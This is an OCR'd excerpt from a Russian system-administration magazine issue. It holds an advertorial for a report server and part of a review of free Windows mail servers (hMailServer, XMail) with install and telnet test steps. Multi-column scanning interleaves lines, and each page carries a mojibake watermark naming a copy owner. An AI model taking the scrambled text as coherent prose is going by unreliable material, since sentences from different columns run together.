Поэтому максимальная сумма, которую тистику, можно выяснить, на какого со- 3. Ачилов Р. Развертываем корпоратив-
может сэкономить шлюз, равна сред- тового оператора идет большее коли- ную телефонную сеть на основе техно-
ним затратам рабочего дня, умножен- чество звонков, и подключиться к не- логии VoIP. Часть вторая. //Системный
ным на количество рабочих дней. му, выбирая по возможности наиболее администратор, № 8, август 2007 г. –
Существенную роль здесь играют безлимитный план, при этом надо бу- С. 42–53.
и выбор оператора, и выбор тариф- дет учесть, что придется платить або- 4. http://www.pbxsoftware.com/wintariff/
ного плана у данного оператора. АТС нентскую плату, следовательно, нужно index.shtml.
Samsung OfficeServ имеет возмож- очень аккуратно соотнести объем пере- 5. http://rolix.narod.ru/send_sms.html.

10
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
на правах рекламы

Сервер отчётов для малого бизнеса


Обычно начальству нужен актуальный отчёт по всем подразделениям «здесь и сейчас» –
в такие моменты нет ни времени, ни средств на приобретение и внедрение крупных
корпоративных систем. Оказывается, есть простое решение для таких задач.

Н
аверняка вам приходилось за- сколько программных продуктов, кото- ного сервера ненужной – вся функци-
ниматься внедрением автома- рые могут значительно облегчить ре- ональность сервера отчетов сосредо-
тизированных систем уровня шение вышеназванных задач. Это и точена в ISAPI DLL. Все настройки сер-
предприятия. Любая такая система есть те самые недостающие «кубики», вера хранятся в xml-файле, снабже-
должна накапливать данные, их обра- которые могут взять на себя заботу ны комментариями и могут быть из-
батывать и выдавать результаты. Час- о создании отчетов и представлении менены с помощью программы-кон-
то есть уже работающее программное данных в нужном виде. В основе всех фигуратора. Все отчеты, выполнен-
обеспечение, которое все это делает, этих решений стоит мощный генератор ные на FastReport Server, совместимы
но когда данные накоплены, иногда отчетов FastReport, уже зарекомендо- с форматом FastReport 4 и могут быть
бывает так, что обработка недостаточ- вавший себя как надежное, быстрое перенесены из ранее разработанно-
на и нет нужных отчетов. Хорошо, ес- и простое решение для обработки дан- го программного обеспечения, в кото-
ли можно обратиться к разработчику ных. 11 лет успешной работы на рынке ром был применен FastReport 4. Поль-
и попросить все доделать, но это не- позволили компании создать простые зователи, конечно же, могут разрабо-
возможно, когда программное обес- в использовании программные продук- тать свои собственные отчеты с по-
печение установлено давно или куп- ты для разработчиков информацион- мощью дизайнера отчётов FastReport
лено в коробочном варианте. В такие ных систем и пользователей для соз- Studio, ознакомительная версия кото-
моменты важно получить предельно дания необходимых отчетов. рой идет в комплекте сервера, а ли-
быстрый результат, который удовлет- Один из флагманских продуктов цензию на редакцию FastReport Studio
ворит начальство и будет не слишком Fast Reports – сервер отчетов. Он пред- Single покупатель сервера получает
дорог. Средства на развитие IT-инф- ставляет собой автономный HTTP-сер- в качестве подарка. Особо стоит от-
раструктуры, сейчас, как правило, ог- вер, который может быть установлен метить возможность FastReport созда-
раничены. А ведь за автоматизаци- на любой компьютер в локальной се- вать несколько подключений к базам
ей стоит необходимая сейчас опти- ти под управлением операционной сис- данных в одном отчете и собирать ин-
мизация бизнес-процессов, контроль темы MS Windows 2000 и выше. Поми- формацию из разных источников дан-
над ними и, как следствие, дальней- мо функции хранения статичных фай- ных. В общем случае могут быть ис-
шая экономия. лов, он может обрабатывать запросы пользованы любые данные, доступ-
Часто необходимо сделать слож- по формированию отчетов, в том числе ные через ODBC-драйверы.
ную обработку, собрать данные из и с предварительным вводом данных Совсем недавно Fast Reports вы-
нескольких баз, связать их между со- через веб-формы. Пользователь по- пустил обновление своего серверно-
бой, провести аналитику и выдать ре- лучает результаты в виде HTML-стра- го решения. FastReport Server 2.1 стал
зультат в компактном виде, доступном ниц, используя обычный веб-браузер стабильнее и быстрее, улучшено вза-
для анализа и контроля. Данные могут или в нужном ему формате, к приме- имодействие с известными веб-сер-
быть разнородными – текстовые фай- ру, PDF, Open Office, Rich Text и мно- верами Microsoft IIS и Apache. Самым
лы, база данных в виде DBF-файлов, гих других. Доступна функция печати главным нововведением стала воз-
файлы электронных таблиц. Случа- результатов на любой сетевой прин- можность использования встроенной
ется, что подобные задачи представ- тер, зарегистрированный на компью- в MS Windows аутентификации, что от-
ляются нерешаемыми или требующи- тере, где работает FastReport Server. крыло возможности тесной интеграции
ми значительных затрат на разработ- Настройка сервера отчетов предель- в домены Active Directory и упростило
ку специального программного обес- но проста. В общем случае он готов управление учётными записями и груп-
печения. Тут впору либо отказываться к работе сразу после установки. Ес- пами пользователей – каждой группе
от автоматизации совсем, либо созда- ли же на компьютере уже установлен пользователей можно назначить отчё-
вать собственное решение – исполь- другой веб-сервер, понадобится толь- ты, нужные именно ей, – руководству –
зовать ранние наработки и собирать ко смена номера рабочего порта и пе- одни, бухгалтерии – другие. И каждый
конструктор из различных програм- резапуск FastReport Server. Возможна пользователь может быть абсолютно
мных «кубиков», собрать все из набо- совместная работа с уже работающи- спокоен за актуальность получаемой
ра представленных на рынке модулей, ми веб-серверами IIS и Apache с помо- информации – отчёт будет сформиро-
сделав минимальную обвязку и на- щью идущего в комплекте с FastReport ван по его запросу именно в тот мо-
стройку под конкретные задачи. Server CGI-приложения или в качест- мент, когда понадобится!
Компания Fast Reports (http://fast- ве ISAPI-модуля. Применение послед-
report.com) представляет на рынке не- него делает запуск службы собствен- Александр Федяшов

№2, февраль 2009 11


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование

Обзор бесплатных почтовых серверов


для операционных систем семейства
Windows

Алексей Бережной
Трудно представить современную компанию, не использующую систему электронной почты
(e-mail). Для решения этой задачи существует множество различных способов. В данной
статье мы рассмотрим несколько бесплатных программных продуктов, позволяющих создать
собственный почтовый сервер на базе операционной системы семейства MS Windows.

Н
о прежде чем приступить к опи- менно получать информацию о вве- ти хранимых данных, просто неразум-
санию, необходимо ответить ренной инфраструктуре. Огромное ко- но. При этом практически невозможно
на несколько вопросов. личество программ, таких как антиви- получить информацию о неполученных
русное ПО, программы для резервного или отклоненных письмах и как-то пов-
Для чего используется копирования, для мониторинга состоя- лиять на ситуацию, когда письма не до-
корпоративная почтовая ния оборудования, для своевременно- ходят до адресата.
система? го отключения серверов и т. д., могут Еще одним отрицательным факто-
В первую очередь корпоративная поч- отсылать отчеты по электронной почте. ром является необходимость оплачи-
товая система необходима для дело- Системному администратору остается вать трафик, потребляемый при пере-
вой переписки, в том числе и между только вовремя настроить соответству- сылке любых сообщений. Так, рассыл-
сотрудниками внутри компании. Так- ющую систему уведомлений. ка нового прайс-листа весом в 8 Мб
же при помощи корпоративной поч- пятнадцати адресатам внутри одной
ты удобно производить рассылки уве- А почему бы просто не завести компании в конечном итоге превраща-
домлений, касающихся большой груп- ящики на бесплатном почтовом ется в 120 Мб входящего трафика.
пы сотрудников, например объявления сервисе? Отсылать на бесплатные почтовые
о предстоящем совещании или о выхо- Можно, конечно воспользоваться услу- ящики отсканированные документы
де новых правил использования офис- гами бесплатной электронной почты, прямо из МФУ также представляется
ной техники. например, Gmail.com или Mail.ru. нетривиальной задачей.
Корпоративная почтовая система Но, во-первых, компания, пользу- Использовать бесплатную элект-
расширяет возможности использова- ющаяся услугами бесплатной элект- ронную почту для организации до-
ния офисных многофункциональных ронной почты, выглядит, мягко гово- ставки уведомлений о состоянии сис-
устройств (МФУ). Многие современ- ря, несолидно в глазах потенциаль- темы крайне неудобно. Представьте
ные сетевые МФУ способны отправ- ных партнеров. себе ситуацию, когда системный ад-
лять по почте отсканированные до- Во-вторых, размещать бизнес-ин- министратор не получил уведомле-
кументы. формацию на бесплатном почтовом ние о завершении процесса резерв-
Помимо этого почтовая система ресурсе, администрация которого ного копирования.
представляет собой инструмент, поз- не связана никакими обязательствами В чем может быть проблема: сбой
воляющий IT-специалистам своевре- по сохранности и конфиденциальнос- в процессе копирования, программа

12
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
просто не смогла по какой-либо причи-
не отправить письмо или причина за- Организация нескольких Другой способ заключается в создании
ключена в работе бесплатного почто- почтовых доменов на одном так называемых псевдонимов уже имею-
вого сервера? И куда обращаться, что- сервере щегося домена (domain aliases). В этом слу-
бы уточнить причину, по которой пись- Существует два способа организации нес- чае фактически создается и используется
мо не было доставлено? кольких почтовых доменов на одном сер- один полноценный почтовый домен с одной
Некоторые бесплатные почтовые вере. почтовой базой пользователей, а мульти-
серверы предлагают свои решения Есть метод так называемых виртуаль- доменная поддержка имитируется за счет
по борьбе со спамом, но в конечном ных доменов, когда каждый размещаемый использования нескольких имен одного
итоге другого решения, кроме как «пе- почтовый домен имеет свою собственную и того же домена. Минусом в этом случае
реместить в папку «Спам», не предо- базу пользователей. Это наиболее полно- является невозможность создания в раз-
ставляется. ценный способ организации многодомен- ных доменах учетных записей с одинако-
Справедливости ради стоит ска- ного почтового сервера. выми именами.
зать о единственном положительном
факторе – это то, что системному ад- нистрировании, например, при рас- связанные с МФУ и отправкой отска-
министратору практически не надо следовании инцидентов, связанных нированных документов по электрон-
ничего делать для организации кор- с непрохождением почты, принятии ной почте.
поративной почты. Достаточно под- решений в вопросах защиты от спа- Появляется возможность устано-
держивать стабильный доступ в Ин- ма и т. д. Хотя ситуация в данном слу- вить собственную антиспам-систему,
тернет и, может быть, настроить про- чае несколько лучше, чем с бесплат- как основанную на бесплатных ре-
граммное обеспечение почтовых кли- ной почтой (например, можно отпра- шениях, таких как сервисы RBL или
ентов, хотя большая часть известных вить письмо администратору почтово- свободно распространяемых продук-
поставщиков услуг бесплатной элек- го сервера с просьбой о предоставле- тах (например, SpamAssassin), так и
тронной почты, такие как Gmail.com, нии информации по отклоненным со- на коммерческом ПО.
Mail.ru или Pochta.ru, имеют доста- общениям). Кроме того, у системного адми-
точно простой и удобный веб-интер- Кроме того, внутренняя почтовая нистратора появляется замечатель-
фейс. система часто используется для до- ный гибко настраиваемый инстру-
ставки служебных сообщений, таких мент получения уведомлений по e-mail
Не проще ли воспользоваться как сообщение об ошибках, результа- об ошибках и других инцидентах, про-
услугами провайдера? тах резервного копирования, наруше- исходящих в рамках IT‑структуры.
Да, конечно, можно выбрать данный ниях ограничений безопасности и т. д. Усложняющим фактором явля-
вариант и воспользоваться услугами Использовать для этого внешние плат- ется необходимость системному ад-
сторонней фирмы, например интер- ные почтовые ящики на сервере про- министратору взять на себя вопросы
нет-провайдера. вайдера, мягко говоря, несколько не- по организации и поддержке почто-
Положительным моментом в этом рационально. вого сервера.
случае (по сравнению с рассмотрен- Отправка отсканированных доку-
ным выше вариантом использования ментов из МФУ по e-mail будет иметь А почему бы не поставить
бесплатной почты) является возмож- те же сложности, что и в случае с бес- Linux, FreeBSD, OpenSolaris
ность использовать собственное уни- платной почтой. и не поднять на нем Postfix,
кальное доменное имя. Sendmal, Qmail и т. д.?
Вторым плюсом можно считать то, Чем же так хорош собственный Замечательно, если решения пост-
что все вопросы по организации поч- почтовый сервер? роены на базе UNIX-подобных опе-
товых сервисов, размещению содер- Ну и, наконец, третий метод, наиболее рационных систем, такие как Postfix.
жимого почтовых ящиков и т. д. берет популярный в последнее время даже Это в первую очередь отсу тствие
на себя другая компания. Даже регист- в сравнительно небольших компани- в большинстве случаев необходимос-
рацию собственного домена компании ях – создание собственного почтово- ти платить за лицензию на операци-
можно переложить на их плечи. го сервера. онную систему, экономичное отноше-
Отрицательным моментом данно- Из положительных сторон мож- ние к ресурсам, гибкость в управле-
го решения остается необходимость но отметить значительную экономию нии и т. д.
не только оплачивать интернет-тра- трафика при пересылке почтовых со- Но, во-первых, нужно неплохо раз-
фик при получении сообщений даже общений внутри компании (наиболь- бираться в UNIX-подобных операци-
внутри собственного почтового доме- шую выгоду можно получить, если онных системах, во-вторых, уметь на-
на (точнее, при загрузке сообщений сервер находится внутри периметра страивать довольно специфичное ПО.
в почтовый клиент или просмотре че- сети), а также независимость в воп- Идеология большинства решений
рез веб-интерфейс), но и услуги по об- росах администрирования, безопас- в этой области базируется на основе
служиванию некоторого числа почто- ности и обеспечения мер по отказо- идеи некоего конструктора из отдель-
вых ящиков. устойчивости. ных «кирпичиков», из которых и стро-
Также данное решение не облада- Имея собственный почтовый сер- ится гибкая, управляемая, но все же
ет достаточной гибкостью при адми- вер, гораздо проще решить вопросы, сложная система.

№2, февраль 2009 13


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
пользователей более 10, необходимо купить полноценную
серверную операционную систему. В случае с бесплатным
продуктом от третьих фирм мы сможем обойтись, к примеру,
Windows XP, что выглядит весьма привлекательно для од-
норанговых сетей маленьких компаний.
Во-вторых, описываемый почтовый сервис является
частью Internet Information Service. Не имеет смысла под-
нимать тяжеловесное приложение только из‑за необходи-
мости организовать почтовый сервер для небольшой ком-
пании.
Кроме того, существуют еще вопросы удобства эксплу-
атации, простоты развертывания, да и хочется иметь сво-
боду выбора, не ограничиваясь тяжеловесным продуктом,
встроенным в операционную систему.
Рисунок 1. Сбой кодировки при первом запуске консоли
управления сервером
Описание почтовых серверов
Есть, конечно, программные продукты, организован- Итак, поскольку мы ответили на все предварительные воп-
ные по принципу «все в одном флаконе», например Courier росы, можно переходить к непосредственному описанию
Mail Server (или, как его еще называют – Courier MTA, сайт – различных программных продуктов. Для начала опреде-
http://www.courier-mta.org). лимся, что же мы хотим от нашего сервера.
Кроме того, если вся сеть построена на основе Windows, Безусловно, он должен поддерживать связку протоко-
появляется необходимость в выделенном компьютере для лов POP3/SMTP.
организации почтового сервера на базе UNIX-решения. Должна присутствовать защита от несанкциониро-
Помимо вопросов наподобие: «как настроить Postfix», ванного использования почтового сервера (превращения
также требуется решить вопросы резервирования, мони- в open relay). Например, SMTP-аутентификация или ограни-
торинга состояния системы и т. п. Для системного адми- чение почтового роутинга для всех IP-адресов, кроме спе-
нистратора, специализирующегося на Windows-платформе циально разрешенных.
и зачастую единственного IT‑специалиста в небольшой ком- Возможность обеспечивать на одном сервере работу
пании, это может оказаться довольно сложной задачей. несколько почтовых доменов.
Для специалистов, желающих строить свою систему Должно быть удобное меню для настройки нашего поч-
на базе UNIX-подобных решений, могу порекомендовать тового сервера.
статью Андрея Шетухина «Создаем почтовый сервер. Пол- Крайне желательно наличие веб-интерфейса для ра-
ное руководство» из июльского номера «Системного адми- боты с почтой.
нистратора» за 2008 год. Еще одно серьезное пожелание – совместимость
с MS Windows Vista. Так как в прилагаемой документации
Но ведь есть «уже готовый» почтовый сервис, всех участвующих в нашем обзоре почтовых серверов спе-
поставляемый с MS Windows Server 2003. циально не оговорено, что продукт совместим с Vista, при-
Почему бы не использовать его? дется протестировать работоспособность вручную. В ка-
Да, конечно, такая возможность есть. Но, во-первых, что- честве тестовой операционной системы выбрана Vista
бы получить право «бесплатно» его использовать при числе Home Premium.
Как пожелание еще неплохо иметь
возможность поддержки протокола
IMAP4, позволяющего хранить все со-
общения (в том числе и отправленные)
на сервере.
Еще одно условие. При тестиро-
вании и описании программных про-
дуктов примем в качестве предвари-
тельной договоренности следующее:
системные администраторы, как пра-
вило, люди довольно занятые. Сроки
на сдачу сервиса в эксплуатацию ус-
танавливаются весьма сжатые. В свя-
зи с этим нет длительного периода
времени на «прикручивание» той или
иной функции. Поэтому если после
чтения документации и изучения ин-
терфейса не удается настроить какую-
Рисунок 2. Ликвидация последствий ошибки в кодировке при первом запуске либо функцию в течение двух часов,

14
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
мы просто регистрируем факт неуда-
чи в настройке и переходим к следую-
щему шагу. В конце концов мы же вы-
брали платформу Windows и продукты
под нее именно за простоту установки
и эксплуатации.

hMailServer
Начнем знакомство с сайта програм-
мы – http://www.hmailserver.com.

Функциональность
hMailServer предоставляет весь важ-
ный функционал для запуска вашего
собственного e-mail-сервера. Как поль-
зователю hMailServer вам будут доступ-
ны обновления и широкая поддержка
других пользователей и разработчиков
на форуме. Данный продукт не требует
оплаты при использовании или распро-
странении. hMailServer поддерживает
открытые почтовые e‑mail-стандарты:
POP3, SMTP и IMAP4. Это делает сер-
вер совместимым с большинством поч- Рисунок 3. Панель управления hMailServer Administrator
товых клиентов. hMailServer 4 и более
старшие версии лицензированы как Open Source под ли- hMailServer‑4.4.3-B285.exe. Для скачивания справки: 
цензией GPL. Последние версии (5 и позднее) также сво- h t t p : / / d o w n l o a d . h m a i l s e r v e r. c o m / d o c u m e n t a t i o n /
бодны, но поставляются с закрытым кодом. hMailServer‑4‑4.chm.
Скачивание программы по указанной выше ссылке
Основные возможности и непосредственная установка прошли без особых проб-
n POP3, SMTP, IMAP; лем. Отдельно стоит отметить тот факт, что программа
n Virtual domains (виртуальные домены); использует для хранения информации SQL-базу данных.
n Built-in backup (встроенная система резервного копиро- При этом можно использовать широкий спектр СУБД, вклю-
вания); чая MySQL 4x, 5x, Microsoft SQL Server (начиная с Microsoft
n Scripting (возможность создания скриптов); SQL Server 7, включая Express, Standard and Enterprise
n External accounts (внешние аккаунты); edition) или PostgreSQL (начиная с 8‑й версии). При этом са-
n Rules (правила); ма программа поставляется со встроенным MySQL, позво-
n Multilingual (многоязыковая поддержка); ляя выбрать эту функцию при инсталляции. Поэтому даже
n AntiVirus; абсолютно неискушенные в администрировании баз дан-
n Spam protection (антиспам-защита); ных люди вполне могут установить и использовать данный
n Routing (перенаправление почты); почтовый сервер.
n MX backup; А вот при первом запуске консоли администрирова-
n Mirroring (копирование сообщений на определенный ния ожидал неприятный сюрприз: произошел сбой коди-
адрес); ровки (см. рис. 1).
n SQL-support (хранение данных в SQL-базе данных). В данной ситуации опять же выручила документация.
Пройдя по ссылке http://www.hmailserver.com/documentation/
Как видно из перечисленных возможностей, перед нами ?page=howto_install, стало понятно, как ввести пароль и со-
довольно серьезный продукт, позволяющий организовать единиться с сервером. После этого потребовалось меньше
полностью функциональный почтовый сервер. минуты, чтобы вручную переключить консоль на английский
Посещение сайта произвело в общем весьма интри- язык и в дальнейшем работать без ошибок (см. рис. 2).
гующее впечатление. Обилие информации по интересую- Далее программа уже не преподносила неприятных сюр-
щим вопросам, удобная система поиска, наличие форума призов, оставив только хорошие впечатления.
для обсуждения помогает найти ответ практически на лю- Все настройки осуществляются через консоль управле-
бой вопрос, связанный с настройкой или эксплуатацией ния сервером (см. рис. 3). Данную консоль можно устано-
данного продукта. вить как непосредственно на сам сервер, так и на отдель-
ный компьютер, например на рабочую станцию системно-
Установка и эксплуатация hMailServer го администратора.
Ссылка для скачивания последней стабильной вер- Честно говоря, данный продукт поражает богатством
сии 4.4.3 программы – http://download.hmailserver.com/ своих функций:

№2, февраль 2009


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email: 15
bobahsmtp.ru
администрирование

Рисунок 4. Тестирование возможностей POP3-аутентификации при помощи функции «Проверить возможности сервера»

n Возможность поддерживать муль- sourceforge/clamwin/clamwin-0.94.1- чтобы исключить ошибочную блоки-


тидоменную почтовую систему, как setup.exe). ровку хорошей почты.
при помощи виртуальных доменов, После установки ClamWin, если ус- Дополнительно существует возмож-
так и создавая псевдонимы к уже тановка проходила в каталог по умол- ность подключения Anti-Spam SMTP
имеющимся. чанию, достаточно перейти на соот- Proxy (ASSP) (http://assp.sourceforge.
n Полноценная поддержка протоко- ветствующую вкладку hMailServer net) в качестве внешнего антиспам-
ла IMAP4. A d m i n i s t r a t o r и н а ж а т ь к н о п к у  фильтра, о чем указано в соответству-
n Встроенная поддержка SMTP-ау- Autodetect. hMailServer сам опреде- ющем разделе справки.
тентификацией (сервер по умолча- лит местонахождение антивирусной Ну и в качестве завершающего
нию запускается уже с включенным базы данных и исполняемого файла. штриха тест – на возможность SMTP-
данным параметром), при этом до- Или можно выбрать местонахожде- и POP3-аутентификации:
полнительно существует возмож- ние вручную.
ность ограничения доступа по со- Второй вариант антивирусной за- c:\telnet mail.test.ru 25
ответствию IP-адресов. щиты заключается в подключении 220 MAIL ESMTP
n Возможность создания групп рас- внешнего антивируса. Можно исполь- ehlo mail.test.ru
250-hmailserver
сылки. зовать в принципе любой антивирус, 250-SIZE
n Защита от спама при помощи RBL за исключением Eset NOD32, о чем 250 AUTH LOGIN
и Greylisting. авторы программы честно признают-
n Встроенная система резервного ко- ся на сайте программы и в докумен- Как видно из вывода команды
пирования и восстановления дан- тации (справке к программе). telnet, сервер обеспечивает метод
ных, которая позволяет сохранить В качестве добавочного способа LOGIN, поддерживаемый большинс-
не только базу данных пользовате- страховки от заражения предлагается твом клиентов под Windows. К сожа-
лей, но сообщения. установить фильтр для вложений. лению, нет поддержки чего-то более
Несколько слов об антиспам-за- интересного с точки зрения безопас-
О тд ел ьн о е с л о в о н у ж н о с к а - щите. Предлагается использовать на- ности, например метода шифрова-
зать об антивирусной поддержке. бор популярных black-листов (DNS ния MD5.
hMailSer ver может использовать и SURBL), а также GreyListing (задерж- Для тестирования возможности ау-
ClamWin как встроенный антивирус, ка при получении письма, чтобы обма- тентификации по POP3 воспользуем-
который, правда, необходимо скачать нуть спамера). ся программой KMail из пакета про-
и установить отдельно (ссылка на ска- Разработчики hMailServer позабо- грамм оконного менеджера KDE для
чивание http://heanet.dl.sourceforge.net/  тились и о White List («белом списке»), UNIX-систем.

16
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
В окне настроек этого почтового
клиента есть вкладка «Безопасность»
с функцией «Проверить возможнос-
ти сервера». Как видно на рис. 4,
hMailserver не поддерживает шифро-
вание и использует авторизацию толь-
ко при помощи открытого текста.
Окончательное тес тирование
при помощи Outlook Express показа-
ло, что после соответствующей на-
стройки возможно использование ау-
тентификации по POP3 и по SMTP при
указании логина и пароля.
Вкладка, в которой задается тре-
бование аутентификации, показана
на рис. 5.
Инсталляция на Windows Vista про-
шла успешно. Не пришлось произво- Рисунок 5. Настройка аутентификации на hMailServer
дить никаких дополнительных настро-
ек. Поэтому можно с уверенностью го- Программный продукт можно реко- держки протокола IMAP4, что называ-
ворить о том, что данный продукт сов- мендовать в качестве основы для ор- ется из коробки. Хотя описание про-
местим c Windows Vista. ганизации почтового сервера не толь- дукта выглядит солидно.
ко для небольших, но и для средних Ниже на с транице прилагает-
Итак, подведем итоги компаний. Можно только добавить, ся длинный список сторонних утилит
по hMailServer что после знакомства с ним осталось и дополнений. Налицо подход, укла-
С помощью этого программного про- очень приятное впечатление. дывающийся в идеологию Open Source-
дукта можно организовать полноцен- строительство системы «из маленьких
ный почтовый сервер, отвечающий XMail кирпичиков». В принципе это даже хо-
современным требованиям, включая По сложившейся традиции в первую рошо. Жалко, конечно, что часть ссы-
антивирусную и антиспам защиту. Так- очередь обратимся на сайт програм- лок на сторонние «кирпичики» оказа-
же предусмотрены функции резерв- мы (http://www.xmailserver.org): «XMail – лась нерабочей, неплохо бы админис-
ного копирования и восстановления это Internet- и Intranet-почтовый сервер, трации сайта хоть изредка проверять
не только информации о пользовате- способный работать как ESMTP server, содержимое своей странички на нали-
лях, но и хранящихся на сервере со- POP3 server, finger server, обеспечи- чие неработающих ссылок.
общений. Отдельную похвалу нужно вать TLS для SMTP и POP3 (и клиен-
сказать о системе документации и под- та и сервера), мультидоменную струк- Установка и эксплуатация
держки, в которых есть описание прак- туру, не требующую заводить реаль- XMail
тически всех вопросов, встречающих- ные системные аккаунты, проверку Ну что же, первоначальную инфор-
ся при настройке и эксплуатации дан- SMTP relay, поддержку проверки адре- мацию мы получили, теперь можно
ного продукта. сов на основе DNS-списков, пользова- приступать к скачиванию и установ-
К минусам программы можно от- тельскую (базирующуюся как на IP, так ке. Ссылка для скачивания програм-
нести отсутствие более безопасных и на почтовом адресе) защиту от спа- мы: http://www.xmailserver.org/xmail-1.25.
методов аутентификации по POP3, не- ма, SMTP-аутентификацию (PLAIN win32bin.zip.
совместимость с Eset NOD32 (хотя нич- LOGIN CRAM-MD5 POP3-before-SMTP Если вы думаете, что сразу после
то не мешает использовать ClamWin), и пользовательские плагины), синхро- распаковки архива и запуска некоего
а также отсутствие встроенного веб- низацию по POP3 с внешними аккаун- исполняемого файла все заработает,
интерфейса для работы с электронной тами, алиасинг учетных записей и до- то вас глубоко разочарую. Разработ-
почтой через браузер. Хотя наличие менов, пользовательскую обработ- чики XMail вовсю постарались, чтобы
поддержки протокола IMAP4 позволя- ку почты, прямую доставку, пользо- сделать знакомство с их продуктом
ет использовать большое количество вательские почтовые фильтры, спис- не простым, но захватывающим и не-
веб-интерфейсов сторонних разработ- ки рассылки, удаленное администри- забываемым.
чиков, включая популярный продукт рование, настраиваемый обмен сооб- В первую очередь идем на сайт
SquirrelMail. (О чем, кстати, также ска- щениями, ведение протоколов и име- и читаем документацию по установ-
зано в документации.) Что же касает- ет мультиплатформенный код. Код ке: http://www.xmailserver.org/Readme.
ся некоторых недоразумений, появ- XMail компилирован для GNU/Linux, html#nt_win2k_xp.
ляющихся при первом запуске консо- FreeBSD, OpenBSD, NetBSD, OSX, Из документации следует, что необ-
ли hMailServer Administrator, будем на- Solaris and NT/2K/XP». ходимо распаковать архив программы
деяться, что данная ошибка будет ис- Начало довольно интригующее. в отдельный каталог, после этого со-
правлена в следующих версиях. Несколько огорчает отсутствие под- держимое подкаталога MailRoot скопи-

№2, февраль 2009 17


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
и переменную MAIL_CMD_LINE с не-
обходимыми значениями командной
строки, по-видимому, значения нужно
брать из соответствующего раздела
документации: http://www.xmailserver.
org/Readme.html#command_line. (Я ос-
тавил данное значение пустым.)
На этом подготовка к запуску
еще не закончена. Необходимо ус-
тановить Microsoft Visual C++ 2005
Redistributable Package (x86) (http://
www.microsoft.com/downloads/details.
aspx?FamilyId=32BC1BEE-A3F9-4C13-
9C99-220B62A191EE&displaylang=en).
Ссылка для скачивания: http://download.
microsoft.com/download/d/3/4/d342efa6-
3266-4157-a2ec-5174867be706/vcredist_
x86.exe.
Скачайте и запустите файл vcredist_
Рисунок 6. Операции, необходимые для запуска XMail. Regedit c открытыми ключами, x86.exe. Теперь можно приступить к за-
которые нужно добавить, и «Проводник» с раскрытой папкой C:\MailRoot\bin, куда
нужно скопировать содержимое корня скачанного архива пуску самого сервера. Так как XMail ра-
ботает как сервис, запуском его в этом
режиме мы сейчас и займемся. Откры-
ваем окно cmd.exe и переходим в ката-
лог c:\MailRoot\bin:

cd c:\MailRoot\bin

Д а л е е з а п ус к ае м п р о г р а м м у
xmail.exe с ключом инсталляции в ре-
жиме сервиса с автоматическим за-
пуском:

xmail.exe --install-auto

В ответ программа выдаст сооб-


щение:
XMail Server installed

Далее нам остается запустить сам


сервис программы:

net start "XMail Server"


Рисунок 7. Редактирование свойств почтового ящика во вновь созданном домене

ровать в выбранное место в документации, предлагается В ответ мы должны получить сообщения:


в C:\MailRoot\. Я решил не отступать от сложившейся тради-
The XMail Server service is starting.
ции и поступил точно так же. А вот бинарники, перед этим The XMail Server service was started successfully.
находящиеся в корне архива, авторы программы предлага-
ют скопировать в подкаталог C:\MailRoot\bin, что я добросо- Как вы уже поняли, XMail в чистом виде представляет
вестно и сделал. После этого необходимо запустить regedit собой сервисную службу и набор конфигурационных фай-
и создать несколько ключей реестра (см. рис. 6): лов. Для ее настройки, включая создание почтовых доме-
Создаем к люч GNU в HKEY_ LOCAL _ MACHINE \ нов и аккаунтов, необходимо либо вручную редактировать
SOFTWARE\. В результате должно получиться HKEY_ файлы конфигурации, либо воспользоваться одним из инс-
LOCAL_MACHINE\SOFTWARE\GNU. трументов, так обильно представленных на стартовой стра-
Далее в созданном ключе HKEY_LOCAL_MACHINE\ нице сайта программы.
SOFTWARE\GNU нужно создать ключ XMail. В итоге –  К сожалению, большая часть предложенных инструмен-
HKEY_LOCAL_MACHINE\SOFTWARE\GNU\XMail\. тов требовала настроенного веб-сервера с подключенны-
В этом ключе следует создать две переменные типа ми языками разработки как то: PHP, Perl и т. д. Поскольку
